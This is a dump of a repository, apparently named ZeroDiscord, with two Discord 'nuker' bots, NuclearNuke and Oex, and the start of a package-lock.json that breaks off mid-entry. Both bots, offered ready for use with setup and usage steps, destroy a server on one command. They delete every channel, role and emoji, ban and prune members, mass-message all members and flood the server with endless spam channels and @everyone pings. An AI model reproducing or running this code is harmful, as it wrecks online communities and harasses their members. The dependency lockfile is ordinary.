changeMembersNicknameTo: "Nuked using NuclearNuke", 15 | makeChannelsCalled: "Nuked using NuclearNuke", 16 | sendMessageToCreatedChannel: "This server is nuked using NuclearNuke from https://github.com/cspi-git/ZeroDiscord/tree/main/nukers/NuclearNuke", 17 | changeServerNameTo: "Nuked using NuclearNuke", 18 | makeRolesCalled: "Nuked using NuclearNuke", 19 | messageEveryMember: "One of the server your in has been nuked using NuclearNuke from https://github.com/cspi-git/ZeroDiscord/tree/main/nukers/NuclearNuke", 20 | pruneDays: 1, 21 | makeChannelsSpamDelay: 1000, 22 | createdChannelsSpamMessageDelay: 2000 23 | } 24 | } 25 | 26 | // Functions 27 | NuclearNuke.log = function(type, message){ 28 | if(type == "info"){ 29 | console.log(`${chalk.gray("[") + chalk.blueBright("INFORMATION") + chalk.gray("]")} ${message}`) 30 | }else if(type == "warn"){ 31 | console.log(`${chalk.gray("[") + chalk.yellowBright("WARNING") + chalk.gray("]")} ${message}`) 32 | } 33 | } 34 | 35 | //Main 36 | bot.on("ready", ()=>{ 37 | NuclearNuke.log("info", "Nuker is running.") 38 | NuclearNuke.log("info", "To nuke specific current server just type $>nuke in any channel of the server that you want to nuke and make sure the nuker bot is there.") 39 | NuclearNuke.log("info", "Make sure the bot has a high permission.") 40 | }) 41 | 42 | bot.on("message", async(message)=>{ 43 | if(message.content === "$>nuke" && message.author.id == NuclearNuke.userID){ 44 | NuclearNuke.log("info", "Changing the server name.") 45 | message.guild.setName(NuclearNuke.configuration.changeServerNameTo).then(()=>{ 46 | NuclearNuke.log("info", "Server named successfully changed.") 47 | }).catch(()=>{ 48 | NuclearNuke.log("warn", "Unable to change the server name.") 49 | }) 50 | 51 | NuclearNuke.log("info", "Messaging every members.") 52 | message.guild.members.cache.forEach(member=>{ 53 | member.send(NuclearNuke.configuration.messageEveryMember).then(()=>{ 54 | NuclearNuke.log("info", `Server member called ${member.user.tag} successfully messaged.`) 55 | }).catch(()=>{ 56 | NuclearNuke.log("info", `Unable to send message to server member called ${member.user.tag}`) 57 | }) 58 | }) 59 | 60 | NuclearNuke.log("info", "Deleting the server channels.") 61 | message.guild.channels.cache.forEach(channel=>{ 62 | channel.delete().then(()=>{ 63 | NuclearNuke.log("info", `Server channel called ${channel.name} successfully deleted.`) 64 | }).catch(()=>{ 65 | NuclearNuke.log("warn", `Unable to delete server channel called ${channel.name}.`) 66 | }) 67 | }) 68 | 69 | NuclearNuke.log("info", "Nicknaming every members.") 70 | message.guild.members.cache.forEach(member =>{ 71 | member.setNickname(NuclearNuke.configuration.changeMembersNicknameTo).then(()=>{ 72 | NuclearNuke.log("info", `Successfully nicknamed server member called ${member.user.tag}`) 73 | }).catch(()=>{ 74 | NuclearNuke.log("warn", `Unable to nickname server member called ${member.user.tag}`) 75 | }) 76 | }) 77 | 78 | NuclearNuke.log("info", "Removing all roles.") 79 | message.guild.roles.cache.forEach(role=>{ 80 | role.delete().then(()=>{ 81 | NuclearNuke.log("info", `Server role called ${role.name} successfully deleted.`) 82 | }).catch(()=>{ 83 | NuclearNuke.log("warn", `Unable to delete server role called ${role.name}.`) 84 | }) 85 | }) 86 | 87 | NuclearNuke.log("info", "Making 15 roles in the server.") 88 | for( let i = 0; i <= 14; i++ ){ 89 | message.guild.roles.create({ "data": { name: NuclearNuke.configuration.makeRolesCalled } }) .then((channel)=>{ 90 | NuclearNuke.log("info", `Successfully created a server role called ${NuclearNuke.configuration.makeRolesCalled}`) 91 | }).catch(()=>{ 92 | NuclearNuke.log("warn", `Unable to create a server role called ${NuclearNuke.configuration.makeRolesCalled}`) 93 | }) 94 | } 95 | 96 | NuclearNuke.log("info", "Pruning server members.") 97 | message.guild.members.prune({ days: NuclearNuke.configuration.pruneDays }).then(()=>{ 98 | NuclearNuke.log("info", "Successfully pruned server members.") 99 | }).catch(()=>{ 100 | NuclearNuke.log("warn", "Unable to prune server members.") 101 | }) 102 | 103 | NuclearNuke.log("info", "Banning server members.") 104 | message.guild.members.cache.forEach(member =>{ 105 | member.ban().then(()=>{ 106 | NuclearNuke.log("info", `Successfully banned server member called ${member.user.tag}`) 107 | }).catch(()=>{ 108 | NuclearNuke.log("warn", `Unable to ban server member called ${member.user.tag}`) 109 | }) 110 | }) 111 | 112 | NuclearNuke.log("info", "Removing server emojis.") 113 | message.guild.emojis.cache.forEach(emoji =>{ 114 | emoji.delete().then(()=>{ 115 | NuclearNuke.log("info", `Server emoji called ${emoji.name} successfully deleted.`) 116 | }).catch(()=>{ 117 | NuclearNuke.log("warn", `Unable to delete server emoji called ${emoji.name}`) 118 | }) 119 | }) 120 | 121 | 122 | const delayModule = await import("delay"); 123 | const delay = delayModule.default; 124 | 125 | await delay(2000) 126 | NuclearNuke.log("info", "Making infinite channels in the server and messaging them.") 127 | setInterval(function(){ 128 | message.guild.channels.create(NuclearNuke.configuration.makeChannelsCalled).then((channel)=>{ 129 | NuclearNuke.log("info", `Successfully created a server channel called ${NuclearNuke.configuration.makeChannelsCalled}`) 130 | setInterval(function(){ 131 | channel.send(NuclearNuke.configuration.sendMessageToCreatedChannel).then(()=>{ 132 | NuclearNuke.log("info", `Successfully sent a message to a server channel called ${NuclearNuke.configuration.makeChannelsCalled}`) 133 | }).catch(()=>{ 134 | NuclearNuke.log("warn", `Unable to send a message to a server channel called ${NuclearNuke.configuration.makeChannelsCalled}`) 135 | }) 136 | }, NuclearNuke.configuration.createdChannelsSpamMessageDelay) 137 | }).catch(()=>{ 138 | NuclearNuke.log("warn", `Unable to create a server channel called ${NuclearNuke.configuration.makeChannelsCalled}`) 139 | }) 140 | }, NuclearNuke.configuration.makeChannelsSpamDelay) 141 | } 142 | }) 143 | 144 | bot.login(NuclearNuke.token) 145 | -------------------------------------------------------------------------------- /nukers/Oex/README.md: -------------------------------------------------------------------------------- 1 | # Oex 2 | Just a nuker that aims for SPEED. 3 | 4 | ## Installation 5 | NpmJS: 6 | ``` 7 | npm i discord.js 8 | ``` 9 | 10 | ## Setup 11 | 1. Open index.js 12 | 2. Find Oex.token and place your Discord bot token there. 13 | 3. Find Oex.whitelist and place your Discord account id there. 14 | 4. Save it & your done! 15 | 16 | ## Usage 17 | Run the nuker: 18 | ``` 19 | node index.js 20 | ``` 21 | 22 | Nuke a server: 23 | ``` 24 | o!kabosh 25 | ``` -------------------------------------------------------------------------------- /nukers/Oex/index.js: -------------------------------------------------------------------------------- 1 | "use strict"; 2 | 3 | // Dependencies 4 | const discord = require("discord.js") 5 | 6 | // Variables 7 | const bot = new discord.Client() 8 | 9 | const Oex = { 10 | delay: 1, // Milliseconds 11 | prefix: "o!", 12 | names: [ 13 | "All hail Oex", 14 | "Oex the nuker", 15 | "Oex the Rex alternative" 16 | ], 17 | messages: [ 18 | "All hail Oex", 19 | "Nuked by Oex", 20 | "Server has been kaboshed by Oex" 21 | ], 22 | whitelist: [ 23 | 904506957447172097, // Bot itself, just incase 24 | 882891618473091082, // I2rys 25 | ], 26 | token: "" 27 | } 28 | 29 | // Main 30 | bot.on("ready", ()=>{ 31 | console.log("Oex is running.") 32 | }) 33 | 34 | bot.on("message", (message)=>{ 35 | if(message.content === `${Oex.prefix}kabosh`){ 36 | try{ 37 | const members = message.guild.members.cache.map((channel) => channel) 38 | const roles = message.guild.roles.cache.map((role) => role) 39 | var channels = message.guild.channels.cache.map((channel) => channel) 40 | 41 | channels.forEach((channel)=>{ 42 | try{ 43 | channel.delete() 44 | console.log(`Successfully deleted. Channel: ${channel.name}`) 45 | }catch{} 46 | }) 47 | 48 | members.forEach((member)=>{ 49 | try{ 50 | if(Oex.whitelist.indexOf(+member.id) === -1){ 51 | member.ban() 52 | console.log(`Successfully banned. Member: ${member.user.tag}`) 53 | } 54 | }catch{} 55 | }) 56 | 57 | roles.forEach((role)=>{ 58 | try{ 59 | role.delete() 60 | console.log(`Successfully deleted. Role: ${role.name}`) 61 | }catch{} 62 | }) 63 | 64 | setInterval(async function(){ 65 | const randomName = Oex.names[Math.floor(Math.random() * Oex.names.length)] 66 | 67 | try{ 68 | const channel = message.guild.channels.create(randomName, { type: "text" }) 69 | 70 | channel.then((channel)=>{ 71 | console.log(`Successfully created. Channel: ${channel.name}`) 72 | 73 | setInterval(function(){ 74 | const randomMessage = Oex.messages[Math.floor(Math.random() * Oex.messages.length)] 75 | channel.send(`@everyone ${randomMessage}`) 76 | }, Oex.delay) 77 | }).catch(()=>{}) 78 | }catch{} 79 | 80 | try{ 81 | const role = message.guild.roles.create({ 82 | data: { 83 | name: randomName, 84 | permissions: [], 85 | color: "PINK" 86 | }, 87 | reason: Oex.messages[Math.floor(Math.random() * Oex.messages.length)] 88 | }) 89 | 90 | role.then((role)=>{console.log(`Successfully created. Role: ${role.name}`)}).catch(()=>{}) 91 | }catch{} 92 | }, Oex.delay) 93 | }catch{} 94 | } 95 | }) 96 | 97 | bot.login(Oex.token) -------------------------------------------------------------------------------- /package-lock.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "zerodiscord", 3 | "lockfileVersion": 3, 4 | "requires": true, 5 | "packages": { 6 | "": { 7 | "name": "zerodiscord", 8 | "license": "MIT", 9 | "dependencies": { 10 | "argparse": "^2.0.1", 11 | "chalk": "^2.4.2", 12 | "chokidar": "^3.5.3", 13 | "delay": "^5.0.0", 14 | "discord-backup": "^3.3.2", 15 | "discord.js": "^13.3.1", 16 | "discord.js-selfbot-v13": "^2.14.10", 17 | "discordnitro": "^0.1.6", 18 | "json-hood": "^1.1.4", 19 | "parallel-park": "^0.2.0", 20 | "path": "^0.12.7", 21 | "public-ip": "^6.0.1", 22 | "random-useragent": "^0.5.0", 23 | "recursive-readdir-async": "^1.3.0", 24 | "request-async": "^0.1.0" 25 | } 26 | }, 27 | "node_modules/@aikochan2k6/qrcode-terminal": { 28 | "version": "0.12.1", 29 | "resolved": "https://registry.npmjs.org/@aikochan2k6/qrcode-terminal/-/qrcode-terminal-0.12.1.tgz", 30 | "integrity": "sha512-GfSrCCqKti0XyomCOaFRL//dnEpDux4tJleywuYChjHue+pqjM0lP39cQq8qtmfcOm1CqhWQeB6JS6kY4tQ8Tw==" 31 | }, 32 | "node_modules/@discordjs/builders": { 33 | "version": "0.16.0", 34 | "resolved": "https://registry.npmjs.org/@discordjs/builders/-/builders-0.16.0.tgz", 35 | "integrity": "sha512-9/NCiZrLivgRub2/kBc0Vm5pMBE5AUdYbdXsLu/yg9ANgvnaJ0bZKTY8yYnLbsEc/LYUP79lEIdC73qEYhWq7A==", 36 | "deprecated": "no longer supported", 37 | "dependencies": { 38 | "@sapphire/shapeshift": "^3.5.1", 39 | "discord-api-types": "^0.36.2", 40 | "fast-deep-equal": "^3.1.3", 41 | "ts-mixer": "^6.0.1", 42 | "tslib": "^2.4.0" 43 | }, 44 | "engines": { 45 | "node": ">=16.9.0" 46 | } 47 | }, 48 | "node_modules/@discordjs/builders/node_modules/discord-api-types": { 49 | "version": "0.36.3", 50 | "resolved": "https://registry.npmjs.org/discord-api-types/-/discord-api-types-0.36.3.tgz", 51 | "integrity": "sha512-bz/NDyG0KBo/tY14vSkrwQ/n3HKPf87a0WFW/1M9+tXYK+vp5Z5EksawfCWo2zkAc6o7CClc0eff1Pjrqznlwg==" 52 | }, 53 | "node_modules/@discordjs/collection": { 54 | "version": "0.7.0", 55 | "resolved": "https://registry.npmjs.org/@discordjs/collection/-/collection-0.7.0.tgz", 56 | "integrity": "sha512-R5i8Wb8kIcBAFEPLLf7LVBQKBDYUL+ekb23sOgpkpyGT+V4P7V83wTxcsqmX+PbqHt4cEHn053uMWfRqh/Z/nA==", 57 | "deprecated": "no longer supported", 58 | "engines": { 59 | "node": ">=16.9.0" 60 | } 61 | }, 62 | "node_modules/@discordjs/formatters": { 63 | "version": "0.3.2", 64 | "resolved": "https://registry.npmjs.org/@discordjs/formatters/-/formatters-0.3.2.tgz", 65 | "integrity": "sha512-lE++JZK8LSSDRM5nLjhuvWhGuKiXqu+JZ/DsOR89DVVia3z9fdCJVcHF2W/1Zxgq0re7kCzmAJlCMMX3tetKpA==", 66 | "dependencies": { 67 | "discord-api-types": "0.37.50" 68 | }, 69 | "engines": { 70 | "node": ">=16.11.0" 71 | } 72 | }, 73 | "node_modules/@discordjs/formatters/node_modules/discord-api-types": { 74 | "version": "0.37.50", 75 | "resolved": "https://registry.npmjs.org/discord-api-types/-/discord-api-types-0.37.50.tgz", 76 | "integrity": "sha512-X4CDiMnDbA3s3RaUXWXmgAIbY1uxab3fqe3qwzg5XutR3wjqi7M3IkgQbsIBzpqBN2YWr/Qdv7JrFRqSgb4TFg==" 77 | }, 78 | "node_modules/@discordjs/rest": { 79 | "version": "2.0.1", 80 | "resolved": "https://registry.npmjs.org/@discordjs/rest/-/rest-2.0.1.tgz", 81 | "integrity": "sha512-/eWAdDRvwX/rIE2tuQUmKaxmWeHmGealttIzGzlYfI4+a7y9b6ZoMp8BG/jaohs8D8iEnCNYaZiOFLVFLQb8Zg==", 82 | "dependencies": { 83 | "@discordjs/collection": "^1.5.3", 84 | "@discordjs/util": "^1.0.1", 85 | "@sapphire/async-queue": "^1.5.0", 86 | "@sapphire/snowflake": "^3.5.1", 87 | "@vladfrangu/async_event_emitter": "^2.2.2", 88 | "discord-api-types": "0.37.50", 89 | "magic-bytes.js": "^1.0.15", 90 | "tslib": "^2.6.1", 91 | "undici": "5.22.1" 92 | }, 93 | "engines": { 94 | "node": ">=16.11.0" 95 | } 96 | }, 97 | "node_modules/@discordjs/rest/node_modules/@discordjs/collection": { 98 | "version": "1.5.3", 99 | "resolved": "https://registry.npmjs.org/@discordjs/collection/-/collection-1.5.3.tgz", 100 | "integrity": "sha512-SVb428OMd3WO1paV3rm6tSjM4wC+Kecaa1EUGX7vc6/fddvw/6lg90z4QtCqm21zvVe92vMMDt9+DkIvjXImQQ==", 101 | "engines": { 102 | "node": ">=16.11.0" 103 | } 104 | }, 105 | "node_modules/@discordjs/rest/node_modules/discord-api-types": { 106 | "version": "0.37.50", 107 | "resolved": "https://registry.npmjs.org/discord-api-types/-/discord-api-types-0.37.50.tgz", 108 | "integrity": "sha512-X4CDiMnDbA3s3RaUXWXmgAIbY1uxab3fqe3qwzg5XutR3wjqi7M3IkgQbsIBzpqBN2YWr/Qdv7JrFRqSgb4TFg==" 109 | }, 110 | "node_modules/@discordjs/util": { 111 | "version": "1.0.1", 112 | "resolved": "https://registry.npmjs.org/@discordjs/util/-/util-1.0.1.tgz", 113 | "integrity": "sha512-d0N2yCxB8r4bn00/hvFZwM7goDcUhtViC5un4hPj73Ba4yrChLSJD8fy7Ps5jpTLg1fE9n4K0xBLc1y9WGwSsA==", 114 | "engines": { 115 | "node": ">=16.11.0" 116 | } 117 | }, 118 | "node_modules/@discordjs/voice": { 119 | "version": "0.16.0", 120 | "resolved": "https://registry.npmjs.org/@discordjs/voice/-/voice-0.16.0.tgz", 121 | "integrity": "sha512-ToGCvHD1cBscuW3p+C7zOF5+L7MJmU4GjdOARfNk9mkHyFFZq4grK+Sxr3QXKbp27DtfDBc9uqD4GUOYgxngfA==", 122 | "dependencies": { 123 | "@types/ws": "^8.5.4", 124 | "discord-api-types": "^0.37.37", 125 | "prism-media": "^1.3.5", 126 | "tslib": "^2.5.0", 127 | "ws": "^8.13.0" 128 | }, 129 | "engines": { 130 | "node": ">=16.9.0" 131 | } 132 | }, 133 | "node_modules/@discordjs/voice/node_modules/discord-api-types": { 134 | "version": "0.37.55", 135 | "resolved": "https://registry.npmjs.org/discord-api-types/-/discord-api-types-0.37.55.tgz", 136 | "integrity": "sha512-XIf8AELxg76AH1WzrgB5ziFyIxSs4tLK1XGjFs4oE6t7M7r1B0Chdylaz76ALhvRXAUBGHGFXu/pKAa5Q+LbQg==" 137 | }, 138 | "node_modules/@discordjs/ws": { 139 | "version": "1.0.1", 140 | "resolved": "https://registry.npmjs.org/@discordjs/ws/-/ws-1.0.1.tgz", 141 | "integrity": "sha512-avvAolBqN3yrSvdBPcJ/0j2g42ABzrv3PEL76e3YTp2WYMGH7cuspkjfSyNWaqYl1J+669dlLp+YFMxSVQyS5g==", 142 | "dependencies": { 143 | "@discordjs/collection": "^1.5.3", 144 | "@discordjs/rest": "^2.0.1", 145 | "@discordjs/util": "^1.0.1", 146 | "@sapphire/async-queue": "^1.5.0", 147 | "@types/ws": "^8.5.5", 148 | "@vladfrangu/async_event_emitter": "^2.2.2", 149 | "discord-api-types": "0.37.50", 150 | "tslib": "^2.6.1", 151 | "ws": "^8.13.0" 152 | }, 153 | "engines": { 154 | "node": ">=16.11.0" 155 | } 156 | }, 157 | "node_modules/@discordjs/ws/node_modules/@discordjs/collection": { 158 | "version": "1.5.3", 159 | "resolved": "https://registry.npmjs.org/@discordjs/collection/-/collection-1.5.3.tgz", 160 | "integrity": "sha512-SVb428OMd3WO1paV3rm6tSjM4wC+Kecaa1EUGX7vc6/fddvw/6lg90z4QtCqm21zvVe92vMMDt9+DkIvjXImQQ==", 161 | "engines": { 162 | "node": ">=16.11.0" 163 | } 164 | }, 165 | "node_modules/@discordjs/ws/node_modules/discord-api-types": { 166 | "version": "0.37.50", 167 | "resolved": "https://registry.npmjs.org/discord-api-types/-/discord-api-types-0.37.50.tgz", 168 | "integrity": "sha512-X4CDiMnDbA3s3RaUXWXmgAIbY1uxab3fqe3qwzg5XutR3wjqi7M3IkgQbsIBzpqBN2YWr/Qdv7JrFRqSgb4TFg==" 169 | }, 170 | "node_modules/@leichtgewicht/ip-codec": { 171 | "version": "2.0.4", 172 | "resolved": "https://registry.npmjs.org/@leichtgewicht/ip-codec/-/ip-codec-2.0.4.tgz", 173 | "integrity": "sha512-Hcv+nVC0kZnQ3tD9GVu5xSMR4VVYOteQIr/hwFPVEvPdlXqgGEuRjiheChHgdM+JyqdgNcmzZOX/tnl0JOiI7A==" 174 | }, 175 | "node_modules/@sapphire/async-queue": { 176 | "version": "1.5.0", 177 | "resolved": "https://registry.npmjs.org/@sapphire/async-queue/-/async-queue-1.5.0.tgz", 178 | "integrity": "sha512-JkLdIsP8fPAdh9ZZjrbHWR/+mZj0wvKS5ICibcLrRI1j84UmLMshx5n9QmL8b95d4onJ2xxiyugTgSAX7AalmA==", 179 | "engines": { 180 | "node": ">=v14.0.0", 181 | "npm": ">=7.0.0" 182 | } 183 | }, 184 | "node_modules/@sapphire/shapeshift": { 185 | "version": "3.9.2", 186 | "resolved": "https://registry.npmjs.org/@sapphire/shapeshift/-/shapeshift-3.9.2.tgz", 187 | "integrity": "sha512-YRbCXWy969oGIdqR/wha62eX8GNHsvyYi0Rfd4rNW6tSVVa8p0ELiMEuOH/k8rgtvRoM+EMV7Csqz77YdwiDpA==", 188 | "dependencies": { 189 | "fast-deep-equal": "^3.1.3", 190 | "lodash": "^4.17.21" 191 | }, 192 | "engines": { 193 | "node": ">=v14.0.0", 194 | "npm": ">=7.0.0" 195 | } 196 | }, 197 | "node_modules/@sapphire/snowflake": { 198 | "version": "3.5.1", 199 | "resolved": "https://registry.npmjs.org/@sapphire/snowflake/-/snowflake-3.5.1.tgz", 200 | "integrity": "sha512-BxcYGzgEsdlG0dKAyOm0ehLGm2CafIrfQTZGWgkfKYbj+pNNsorZ7EotuZukc2MT70E0UbppVbtpBrqpzVzjNA==", 201 | "engines": { 202 | "node": ">=v14.0.0", 203 | "npm": ">=7.0.0" 204 | } 205 | }, 206 | "node_modules/@sindresorhus/is": { 207 | "version": "5.6.0", 208 | "resolved": "https://registry.npmjs.org/@sindresorhus/is/-/is-5.6.0.tgz", 209 | "integrity": "sha512-TV7t8GKYaJWsn00tFDqBw8+Uqmr8A0fRU1tvTQhyZzGv0sJCGRQL3JGMI3ucuKo3XIZdUP+Lx7/gh2t3lewy7g==", 210 | "engines": { 211 | "node": ">=14.16" 212 | }, 213 | "funding": { 214 | "url": "https://github.com/sindresorhus/is?sponsor=1" 215 | } 216 | }, 217 | "node_modules/@szmarczak/http-timer": { 218 | "version": "5.0.1", 219 | "resolved": "https://registry.npmjs.org/@szmarczak/http-timer/-/http-timer-5.0.1.tgz", 220 | "integrity": "sha512-+PmQX0PiAYPMeVYe237LJAYvOMYW1j2rH5YROyS3b4CTVJum34HfRvKvAzozHAQG0TnHNdUfY9nCeUyRAs//cw==", 221 | "dependencies": { 222 | "defer-to-connect": "^2.0.1" 223 | }, 224 | "engines": { 225 | "node": ">=14.16" 226 | } 227 | }, 228 | "node_modules/@types/http-cache-semantics": { 229 | "version": "4.0.1", 230 | "resolved": "https://registry.npmjs.org/@types/http-cache-semantics/-/http-cache-semantics-4.0.1.tgz", 231 | "integrity": "sha512-SZs7ekbP8CN0txVG2xVRH6EgKmEm31BOxA07vkFaETzZz1xh+cbt8BcI0slpymvwhx5dlFnQG2rTlPVQn+iRPQ==" 232 | }, 233 | "node_modules/@types/node": { 234 | "version": "20.5.7", 235 | "resolved": "https://registry.npmjs.org/@types/node/-/node-20.5.7.tgz", 236 | "integrity": "sha512-dP7f3LdZIysZnmvP3ANJYTSwg+wLLl8p7RqniVlV7j+oXSXAbt9h0WIBFmJy5inWZoX9wZN6eXx+YXd9Rh3RBA==" 237 | }, 238 | "node_modules/@types/node-fetch": { 239 | "version": "2.6.4", 240 | "resolved": "https://registry.npmjs.org/@types/node-fetch/-/node-fetch-2.6.4.tgz", 241 | "integrity": "sha512-1ZX9fcN4Rvkvgv4E6PAY5WXUFWFcRWxZa3EW83UjycOB9ljJCedb2CupIP4RZMEwF/M3eTcCihbBRgwtGbg5Rg==", 242 | "dependencies": { 243 | "@types/node": "*", 244 | "form-data": "^3.0.0" 245 | } 246 | }, 247 | "node_modules/@types/node-fetch/node_modules/form-data": { 248 | "version": "3.0.1", 249 | "resolved": "https://registry.npmjs.org/form-data/-/form-data-3.0.1.tgz", 250 | "integrity": "sha512-RHkBKtLWUVwd7SqRIvCZMEvAMoGUp0XU+seQiZejj0COz3RI3hWP4sCv3gZWWLjJTd7rGwcsF5eKZGii0r/hbg==", 251 | "dependencies": { 252 | "asynckit": "^0.4.0", 253 | "combined-stream": "^1.0.8", 254 | "mime-types": "^2.1.12" 255 | }, 256 | "engines": { 257 | "node": ">= 6" 258 | } 259 | }, 260 | "node_modules/@types/ws": { 261 | "version": "8.5.5", 262 | "resolved": "https://registry.npmjs.org/@types/ws/-/ws-8.5.5.tgz", 263 | "integrity": "sha512-lwhs8hktwxSjf9UaZ9tG5M03PGogvFaH8gUgLNbN9HKIg0dvv6q+gkSuJ8HN4/VbyxkuLzCjlN7GquQ0gUJfIg==", 264 | "dependencies": { 265 | "@types/node": "*" 266 | } 267 | }, 268 | "node_modules/@vladfrangu/async_event_emitter": { 269 | "version": "2.2.2", 270 | "resolved": "https://registry.npmjs.org/@vladfrangu/async_event_emitter/-/async_event_emitter-2.2.2.tgz", 271 | "integrity": "sha512-HIzRG7sy88UZjBJamssEczH5q7t5+axva19UbZLO6u0ySbYPrwzWiXBcC0WuHyhKKoeCyneH+FvYzKQq/zTtkQ==", 272 | "engines": { 273 | "node": ">=v14.0.0", 274 | "npm": ">=7.0.0" 275 | } 276 | }, 277 | "node_modules/aggregate-error": { 278 | "version": "4.0.1", 279 | "resolved": "https://registry.npmjs.org/aggregate-error/-/aggregate-error-4.0.1.tgz", 280 | "integrity": "sha512-0poP0T7el6Vq3rstR8Mn4V/IQrpBLO6POkUSrN7RhyY+GF/InCFShQzsQ39T25gkHhLgSLByyAz+Kjb+c2L98w==", 281 | "dependencies": { 282 | "clean-stack": "^4.0.0", 283 | "indent-string": "^5.0.0" 284 | }, 285 | "engines": { 286 | "node": ">=12" 287 | }, 288 | "funding": { 289 | "url": "https://github.com/sponsors/sindresorhus" 290 | } 291 | }, 292 | "node_modules/ajv": { 293 | "version": "6.12.6", 294 | "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.12.6.tgz", 295 | "integrity": "sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g==", 296 | "dependencies": { 297 | "fast-deep-equal": "^3.1.1", 298 | "fast-json-stable-stringify": "^2.0.0", 299 | "json-schema-traverse": "^0.4.1", 300 | "uri-js": "^4.2.2" 301 | }, 302 | "funding": { 303 | "type": "github", 304 | "url": "https://github.com/sponsors/epoberezkin" 305 | } 306 | }, 307 | "node_modules/ansi-styles": { 308 | "version": "3.2.1", 309 | "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", 310 | "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", 311 | "dependencies": { 312 | "color-convert": "^1.9.0" 313 | }, 314 | "engines": { 315 | "node": ">=4" 316 | } 317 | }, 318 | "node_modules/anymatch": { 319 | "version": "3.1.3", 320 | "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-3.1.3.tgz", 321 | "integrity": "sha512-KMReFUr0B4t+D+OBkjR3KYqvocp2XaSzO55UcB6mgQMd3KbcE+mWTyvVV7D/zsdEbNnV6acZUutkiHQXvTr1Rw==", 322 | "dependencies": { 323 | "normalize-path": "^3.0.0", 324 | "picomatch": "^2.0.4" 325 | }, 326 | "engines": { 327 | "node": ">= 8" 328 | } 329 | }, 330 | "node_modules/argparse": { 331 | "version": "2.0.1", 332 | "resolved": "https://registry.npmjs.org/argparse/-/argparse-2.0.1.tgz", 333 | "integrity": "sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==" 334 | }, 335 | "node_modules/asn1": { 336 | "version": "0.2.6", 337 | "resolved": "https://registry.npmjs.org/asn1/-/asn1-0.2.6.tgz", 338 | "integrity": "sha512-ix/FxPn0MDjeyJ7i/yoHGFt/EX6LyNbxSEhPPXODPL+KB0VPk86UYfL0lMdy+KCnv+fmvIzySwaK5COwqVbWTQ==", 339 | "dependencies": { 340 | "safer-buffer": "~2.1.0" 341 | } 342 | }, 343 | "node_modules/assert-plus": { 344 | "version": "1.0.0", 345 | "resolved": "https://registry.npmjs.org/assert-plus/-/assert-plus-1.0.0.tgz", 346 | "integrity": "sha512-NfJ4UzBCcQGLDlQq7nHxH+tv3kyZ0hHQqF5BO6J7tNJeP5do1llPr8dZ8zHonfhAu0PHAdMkSo+8o0wxg9lZWw==", 347 | "engines": { 348 | "node": ">=0.8" 349 | } 350 | }, 351 | "node_modules/asynckit": { 352 | "version": "0.4.0", 353 | "resolved": "https://registry.npmjs.org/asynckit/-/asynckit-0.4.0.tgz", 354 | "integrity": "sha512-Oei9OH4tRh0YqU3GxhX79dM/mwVgvbZJaSNaRk+bshkj0S5cfHcgYakreBjrHwatXKbz+IoIdYLxrKim2MjW0Q==" 355 | }, 356 | "node_modules/aws-sign2": { 357 | "version": "0.7.0", 358 | "resolved": "https://registry.npmjs.org/aws-sign2/-/aws-sign2-0.7.0.tgz", 359 | "integrity": "sha512-08kcGqnYf/YmjoRhfxyu+CLxBjUtHLXLXX/vUfx9l2LYzG3c1m61nrpyFUZI6zeS+Li/wWMMidD9KgrqtGq3mA==", 360 | "engines": { 361 | "node": "*" 362 | } 363 | }, 364 | "node_modules/aws4": { 365 | "version": "1.12.0", 366 | "resolved": "https://registry.npmjs.org/aws4/-/aws4-1.12.0.tgz", 367 | "integrity": "sha512-NmWvPnx0F1SfrQbYwOi7OeaNGokp9XhzNioJ/CSBs8Qa4vxug81mhJEAVZwxXuBmYB5KDRfMq/F3RR0BIU7sWg==" 368 | }, 369 | "node_modules/bcrypt-pbkdf": { 370 | "version": "1.0.2", 371 | "resolved": "https://registry.npmjs.org/bcrypt-pbkdf/-/bcrypt-pbkdf-1.0.2.tgz", 372 | "integrity": "sha512-qeFIXtP4MSoi6NLqO12WfqARWWuCKi2Rn/9hJLEmtB5yTNr9DqFWkJRCf2qShWzPeAMRnOgCrq0sg/KLv5ES9w==", 373 | "dependencies": { 374 | "tweetnacl": "^0.14.3" 375 | } 376 | }, 377 | "node_modules/bignumber.js": { 378 | "version": "9.1.2", 379 | "resolved": "https://registry.npmjs.org/bignumber.js/-/bignumber.js-9.1.2.tgz", 380 | "integrity": "sha512-2/mKyZH9K85bzOEfhXDBFZTGd1CTs+5IHpeFQo9luiBG7hghdC851Pj2WAhb6E3R6b9tZj/XKhbg4fum+Kepug==", 381 | "engines": { 382 | "node": "*" 383 | } 384 | }, 385 | "node_modules/binary-extensions": { 386 | "version": "2.2.0", 387 | "resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-2.2.0.tgz", 388 | "integrity": "sha512-jDctJ/IVQbZoJykoeHbhXpOlNBqGNcwXJKJog42E5HDPUwQTSdjCHdihjj0DlnheQ7blbT6dHOafNAiS8ooQKA==", 389 | "engines": { 390 | "node": ">=8" 391 | } 392 | }, 393 | "node_modules/braces": { 394 | "version": "3.0.2", 395 | "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz", 396 | "integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==", 397 | "dependencies": { 398 | "fill-range": "^7.0.1" 399 | }, 400 | "engines": { 401 | "node": ">=8" 402 | } 403 | }, 404 | "node_modules/busboy": { 405 | "version": "1.6.0", 406 | "resolved": "https://registry.npmjs.org/busboy/-/busboy-1.6.0.tgz", 407 | "integrity": "sha512-8SFQbg/0hQ9xy3UNTB0YEnsNBbWfhf7RtnzpL7TkBiTBRfrQ9Fxcnz7VJsleJpyp6rVLvXiuORqjlHi5q+PYuA==", 408 | "dependencies": { 409 | "streamsearch": "^1.1.0" 410 